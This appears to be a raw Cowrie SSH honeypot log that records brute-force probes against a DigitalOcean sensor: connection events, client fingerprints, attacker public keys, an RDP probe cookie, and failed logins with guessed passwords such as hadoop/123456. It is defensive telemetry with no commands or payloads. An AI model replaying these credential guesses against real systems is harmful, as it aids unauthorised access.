{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:26.866066Z","src_ip":"62.133.62.83","session":"cb4cc4d7c174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:27.104391Z","src_ip":"62.133.62.83","session":"cb4cc4d7c174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:28.185980Z","src_ip":"62.133.62.83","session":"cb4cc4d7c174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":38146,"dst_ip":"10.17.0.5","dst_port":22,"session":"25321d0ef111","protocol":"ssh","message":"New connection: 103.75.182.198:38146 (10.17.0.5:22) [session: 25321d0ef111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:51.575316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:51.579991Z","src_ip":"103.75.182.198","session":"25321d0ef111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:51.821604Z","src_ip":"103.75.182.198","session":"25321d0ef111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tab169829","message":"login attempt [root/tab169829] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:52.543846Z","src_ip":"103.75.182.198","session":"25321d0ef111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:53.787766Z","src_ip":"103.75.182.198","session":"25321d0ef111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.242.68","src_port":59416,"dst_ip":"10.17.0.5","dst_port":22,"session":"502420e82c4b","protocol":"ssh","message":"New connection: 206.212.242.68:59416 (10.17.0.5:22) [session: 502420e82c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.421521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.427004Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.439181Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:d5:bb:d9:ef:dd:53:26:a3:fd:54:a6:4c:71:8b:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Hcufx0fyDPkv8TOhBbTJXNJSuVdgDxdlS42B5SQF1ay0/WWWjlUropm/ISdUjoFLGu5ntcENTw16gsSJ8VErOwsm4pUHOTfCf4cbJNrUWZUrRctvHK5n3T6HsKAe1qHo03dL6DjFSLykx/uKoH7gjdZYuImTRF/Nmn+hpQk4MDTGzV6YC32rmhLGjIEDpMpL6JsEaVpiLkKGCZ29rSCbpPVmsOrYyAkig3ohaAjvCHc8zDZtt84cgyhipOFGFxj1EmGaE/TLWS+9gzDQIoQSp1Ayb4Sk0Mxfaw6rxCyj4EBKvRIZGG5fUOaAWF3Ku3U+CZa3YADlynAIKQ1kilEF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:d5:bb:d9:ef:dd:53:26:a3:fd:54:a6:4c:71:8b:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.482045Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:d5:bb:d9:ef:dd:53:26:a3:fd:54:a6:4c:71:8b:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Hcufx0fyDPkv8TOhBbTJXNJSuVdgDxdlS42B5SQF1ay0/WWWjlUropm/ISdUjoFLGu5ntcENTw16gsSJ8VErOwsm4pUHOTfCf4cbJNrUWZUrRctvHK5n3T6HsKAe1qHo03dL6DjFSLykx/uKoH7gjdZYuImTRF/Nmn+hpQk4MDTGzV6YC32rmhLGjIEDpMpL6JsEaVpiLkKGCZ29rSCbpPVmsOrYyAkig3ohaAjvCHc8zDZtt84cgyhipOFGFxj1EmGaE/TLWS+9gzDQIoQSp1Ayb4Sk0Mxfaw6rxCyj4EBKvRIZGG5fUOaAWF3Ku3U+CZa3YADlynAIKQ1kilEF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.486429Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:7b:6d:eb:20:ae:45:7e:83:8f:14:30:b4:ec:fc:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDApr2ILF8YbeQE789AwFALlAzMjwbo1zawXWNyXc96c1R9np3YnuonZN71LgnLTsaAC+gWmpasxy1G+CrGsKkwaZafM4ND1FkkB8M1dbvV5n0WLLks4BtOP44togfX5rtWAhjxxYJqihUjBQN0XyPna1nq4eaMV0NSBxTvu1J8wwhHaHjzy7deS3rfixgfTTp6VrY1v4AS6nkCDZSDbpuzTa6PlTjGOx6NehCiGsyjt/h1y1hmBjdQ45LL3fs+klOyris8FNE80XswXpr5fwqmMR2MdmXMwoKValXWM9BRGaeDi+70KTQJSmaFaqsdG5kTcJoIjsDj+jM9ho5or8H59HKHpThqep0beplLz0huGmDWzjsKSVrZt4bf2HJ8ULYbw6sL+zGQ9qd2oHbjI7R54797HdRL+U+wYopbR6SObXC17ldRJESU3G/1e06G7jCHyFr+s+pDZCAshhg2b7urmYQH0dJg812dyPHOdp7Jyt6RMwVo1lta7L201JD6ZHJhDF8Yu6de7wi4i0UpNEWDUvXUj+togSlKITOQtcT4n7eoOBlGhT0c0DJ270DCLxGRcGFfpCZz8tu4YxdBckylaI3RxgnMexDUBRdV+OXhA2EG04fFEOfCcyknS+jP6Z7qw+eZaIvdJ6T7BKl9jNo7L70G+oUPH5Hr2MMzWjvfcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:7b:6d:eb:20:ae:45:7e:83:8f:14:30:b4:ec:fc:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.500737Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:7b:6d:eb:20:ae:45:7e:83:8f:14:30:b4:ec:fc:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDApr2ILF8YbeQE789AwFALlAzMjwbo1zawXWNyXc96c1R9np3YnuonZN71LgnLTsaAC+gWmpasxy1G+CrGsKkwaZafM4ND1FkkB8M1dbvV5n0WLLks4BtOP44togfX5rtWAhjxxYJqihUjBQN0XyPna1nq4eaMV0NSBxTvu1J8wwhHaHjzy7deS3rfixgfTTp6VrY1v4AS6nkCDZSDbpuzTa6PlTjGOx6NehCiGsyjt/h1y1hmBjdQ45LL3fs+klOyris8FNE80XswXpr5fwqmMR2MdmXMwoKValXWM9BRGaeDi+70KTQJSmaFaqsdG5kTcJoIjsDj+jM9ho5or8H59HKHpThqep0beplLz0huGmDWzjsKSVrZt4bf2HJ8ULYbw6sL+zGQ9qd2oHbjI7R54797HdRL+U+wYopbR6SObXC17ldRJESU3G/1e06G7jCHyFr+s+pDZCAshhg2b7urmYQH0dJg812dyPHOdp7Jyt6RMwVo1lta7L201JD6ZHJhDF8Yu6de7wi4i0UpNEWDUvXUj+togSlKITOQtcT4n7eoOBlGhT0c0DJ270DCLxGRcGFfpCZz8tu4YxdBckylaI3RxgnMexDUBRdV+OXhA2EG04fFEOfCcyknS+jP6Z7qw+eZaIvdJ6T7BKl9jNo7L70G+oUPH5Hr2MMzWjvfcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.505280Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:6b:55:b5:7c:03:ea:03:5f:aa:c4:7a:3d:ad:61:d8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKWevSLGSaK8WKgCiBav7nP23HDH/aAxzphXRlefKo8eWijN1THruBCJodP/UBd61uyh7Cg836ue/S9BQZbFNFCT1vvU9bqnVXrIh+tlEJwqk85/rkFTxUNfTXxagwKYFERRhJghbBD5tRan/MA53oDDk0SF0rlaSd9OCFy2khJdAAAAFQCrebGgJWyG/FsjQ8QHr6KApw/2SQAAAIAGLS1quhpDK9Tm3aBvbvAII/mIuC6l3RH6I68IBXlXJoUUj6Gl73gpTBEa1czDn3JyaXYKZlKcPdqg55yPlKKa6cul3UbnPe2HhD96DvC9Hgac8xPm9E43wBjmAch0wGtVlb6Cd7/x3ps/g57UNlYkKGH8syEmN/269H4/C1TRQAAAAIA70tpuSkHHd42uZcatMHY3V4Z6ayT5u39h44K/TYF8UzJ9BDtfLLDwoDg6Msq3maCe/rRFHMKbSi8GW0pmkubreGRDw+F7Ip6tSgQmoMrIxXKRmCAQVS8rw5RD/Gz87HrWH/6sZiyOybeTS0HslGW7FxKv2IAzk8WO/LXkP1lIMg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 47:6b:55:b5:7c:03:ea:03:5f:aa:c4:7a:3d:ad:61:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.520493Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:6b:55:b5:7c:03:ea:03:5f:aa:c4:7a:3d:ad:61:d8","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKWevSLGSaK8WKgCiBav7nP23HDH/aAxzphXRlefKo8eWijN1THruBCJodP/UBd61uyh7Cg836ue/S9BQZbFNFCT1vvU9bqnVXrIh+tlEJwqk85/rkFTxUNfTXxagwKYFERRhJghbBD5tRan/MA53oDDk0SF0rlaSd9OCFy2khJdAAAAFQCrebGgJWyG/FsjQ8QHr6KApw/2SQAAAIAGLS1quhpDK9Tm3aBvbvAII/mIuC6l3RH6I68IBXlXJoUUj6Gl73gpTBEa1czDn3JyaXYKZlKcPdqg55yPlKKa6cul3UbnPe2HhD96DvC9Hgac8xPm9E43wBjmAch0wGtVlb6Cd7/x3ps/g57UNlYkKGH8syEmN/269H4/C1TRQAAAAIA70tpuSkHHd42uZcatMHY3V4Z6ayT5u39h44K/TYF8UzJ9BDtfLLDwoDg6Msq3maCe/rRFHMKbSi8GW0pmkubreGRDw+F7Ip6tSgQmoMrIxXKRmCAQVS8rw5RD/Gz87HrWH/6sZiyOybeTS0HslGW7FxKv2IAzk8WO/LXkP1lIMg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.524666Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:0c:c3:26:7b:94:74:27:3b:93:db:c3:40:9c:b5:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvwzGx+O+bZKunusQR0qxThovAHWx21yF8asVZm+DIhi6AU4oumaqfLrmVMBm62MebvrQaAf61wtnN0P341wvIXei47+6JBzAbEr7IKSJpZ/59rvdl6ommR81wo9fFNYiLzx39ay5VKHO/+h6LB5veLyREZUYiOZ5lQ2E+5nBitNzmyL5tibvSXqgo28ZkDp6T9+pw5hK8n6BTdiSb41fYvJVRMXeH171c8/eldBkSQ/5gL7X2HZfq+0/SrTA0wL3JdGYBnE4sEMwDzoSrgjhuNlnTwTeSoSWJzfmVt1A2DZNXJChFhAe5s402YCPwxUEUKCOMcVMPg8+gJ4xcrCFzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:0c:c3:26:7b:94:74:27:3b:93:db:c3:40:9c:b5:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.538701Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:0c:c3:26:7b:94:74:27:3b:93:db:c3:40:9c:b5:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvwzGx+O+bZKunusQR0qxThovAHWx21yF8asVZm+DIhi6AU4oumaqfLrmVMBm62MebvrQaAf61wtnN0P341wvIXei47+6JBzAbEr7IKSJpZ/59rvdl6ommR81wo9fFNYiLzx39ay5VKHO/+h6LB5veLyREZUYiOZ5lQ2E+5nBitNzmyL5tibvSXqgo28ZkDp6T9+pw5hK8n6BTdiSb41fYvJVRMXeH171c8/eldBkSQ/5gL7X2HZfq+0/SrTA0wL3JdGYBnE4sEMwDzoSrgjhuNlnTwTeSoSWJzfmVt1A2DZNXJChFhAe5s402YCPwxUEUKCOMcVMPg8+gJ4xcrCFzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.541998Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:66:f8:04:9e:03:33:e7:61:97:7c:11:c7:a9:86:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDd2aFLtxLwyytYAFjC1FzRdg2ZQXMwIKAmmX/OKxGXzKwEppaA4cxH7VHHpG9o85PBSLq7kl3xHVmKlmQouEjwelTS1Fwrwto7YJD+Kcs2Kibn6H5CpiKbpLJZden7E3xCe7Lq3BUit4X5eIHICBFAgVwaUGWiW9zoZ7W4RHUkqU/5KOSD8FYhZdcDCyeKZaYPqrW1eZ76XL5iOiPNtp3gvM97PS+3zT6BqW95atHZFoPKzp65w28+AUMaSLqNDXAnsa6blczCYCmKgzqm+QiJtupyCVxkaNO0EDaUJ7TsHxoB9GbrFYpqSfLEzIuuzhhjnbzOlSV3AQlsk8PCXfTN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:66:f8:04:9e:03:33:e7:61:97:7c:11:c7:a9:86:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.557719Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:66:f8:04:9e:03:33:e7:61:97:7c:11:c7:a9:86:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDd2aFLtxLwyytYAFjC1FzRdg2ZQXMwIKAmmX/OKxGXzKwEppaA4cxH7VHHpG9o85PBSLq7kl3xHVmKlmQouEjwelTS1Fwrwto7YJD+Kcs2Kibn6H5CpiKbpLJZden7E3xCe7Lq3BUit4X5eIHICBFAgVwaUGWiW9zoZ7W4RHUkqU/5KOSD8FYhZdcDCyeKZaYPqrW1eZ76XL5iOiPNtp3gvM97PS+3zT6BqW95atHZFoPKzp65w28+AUMaSLqNDXAnsa6blczCYCmKgzqm+QiJtupyCVxkaNO0EDaUJ7TsHxoB9GbrFYpqSfLEzIuuzhhjnbzOlSV3AQlsk8PCXfTN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.561674Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:05.576312Z","src_ip":"206.212.242.68","session":"502420e82c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64788,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed2de7e593b4","protocol":"ssh","message":"New connection: 167.172.81.52:64788 (159.203.135.109:22) [session: ed2de7e593b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:41.829835Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:41.835365Z","src_ip":"167.172.81.52","session":"ed2de7e593b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:02:41.838879Z","src_ip":"167.172.81.52","session":"ed2de7e593b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":34762,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cadf3987e86","protocol":"ssh","message":"New connection: 193.32.162.151:34762 (159.203.135.109:22) [session: 3cadf3987e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:03:20.783185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:03:20.787973Z","src_ip":"193.32.162.151","session":"3cadf3987e86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:03:20.893961Z","src_ip":"193.32.162.151","session":"3cadf3987e86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:03:21.213629Z","src_ip":"193.32.162.151","session":"3cadf3987e86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:03:22.323706Z","src_ip":"193.32.162.151","session":"3cadf3987e86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":52386,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e9b5bc3bb12","protocol":"ssh","message":"New connection: 103.98.149.87:52386 (159.203.135.109:22) [session: 1e9b5bc3bb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:08.649600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:04:08.661526Z","src_ip":"103.98.149.87","session":"1e9b5bc3bb12","protocol":"ssh"}
